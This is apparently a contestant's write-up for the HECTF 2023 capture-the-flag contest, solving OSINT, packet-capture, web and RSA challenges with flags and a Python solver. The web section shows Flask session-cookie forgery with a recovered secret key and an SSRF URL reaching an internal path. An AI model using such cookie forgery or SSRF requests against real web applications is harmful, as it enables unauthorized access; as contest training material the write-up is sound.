HECTF2023wp

Misc-签到&签退

---

Misc-osint

先搜酒店外景图，找到一张相似的，百度识图，河北邯郸市永年区，直接锁定永年太极广场

HECTF{河北省邯郸市永年区永年太极广场}

Misc-ezpacp

导出对象->http,发现不少东西，选择的是 /POST login,追踪http流，发现一段base64编码SEVMTE9IRUNURlgyejBVbTIzUkY=,解码得到，HELLOHECTFX2z0Um23RF,
追踪到一个

导出，加密了，试一下密码X2z0Um23RF，拿到flag
HECTF{euLpTT3DQWhvoHhwqmSxQdZHQFccHOlfk7WWbXlg}

Web-伪装者

首先是referer，其次是UA头，再是session伪造
先利用本地的sessions.py，解出

# kali
python3 sessions.py eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJqb2tlciJ9.ZVhPvg.6WsRkbssuzOuGgnG0G5Lqdqriqc
{'key': 'zxk1ing', 'username': 'joker'}

python3 flask_session_cookie_manager3.py encode -s 'zxk1ing' -t "{'key': 'zxk1ing', 'username': 'zxk1ing'}"
eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJ6eGsxaW5nIn0.ZVhXIg.cAtAg3DUE-wZp-yq_a5IUvfvaIM

赛后补：

SSRF,服务端请求伪造
所以，/img?url=http://127.0.0.1/P1aceuWillneverkn0w，即可

Crypto-rsarsa

# 题目
from functools import reduce
from Crypto.Util.number import *
import random
from secret import flag,hint

def generate_PQ(bits):
    x = getPrime(bits) >> bits//2 << bits//2
    while True:
        p = x + random.getrandbits(bits//2)
        if isPrime(p):
            break
    while True:
        q = x + random.getrandbits(bits//2)
        if isPrime(q):
            break
    return p,q

m = bytes_to_long(flag)
hint = bytes_to_long(hint)
e = 65537
p,q = generate_PQ(1024)
n = p*q
random.seed(seed)
x = [random.randint(1,seed) for _ in range(2)]
y = [random.randint(1,seed) for _ in range(2)]

print("c =",pow(hint,e,n))
print("n =",n)
print("c1 =",pow(reduce(lambda x, y: x * m + y, x), 17, n))
print("c2 =",pow(reduce(lambda x, y: x * m + y, y), 17, n))

读懂代码就很简单，稍微爆破一下，就3-4分钟吧，没太注意

from Crypto.Util.number import *

e = 
c = 
n = 
# yafu分解n
c1 = 
c2 = 
p = 
q = 
d = inverse(e, (p-1)*(q-1))
# print(long_to_bytes(pow(c, d, n)))
# Hint{Seed_is_256087_+_396445_-_538018}
seed = 114514
d1 = inverse(17, (p-1)*(q-1))
# print(pow(c1,d1,n))
# print(pow(c2,d1,n))
a1 = 
a2 = 
for i in range(1, seed):
    for j in range(1, seed):
        if ((a2-a1)-i) % j == 0:
            flag = long_to_bytes(((a2-a1)-i) // j)
            if b'HECTF{' in flag:
                print(flag)
                break
# HECTF{r3411y_easy_R4nd0m_And_r3l4ted_m3554ge_att4ck}

赛后自己又看了一遍，查了一下，知道随机数种子是可以直接知道由随机数种子生成的随机数的，不用像我上面爆破三四分钟，x = [30509, 13601] y = [92095, 27065],代进去就OK了(懒再写代码了)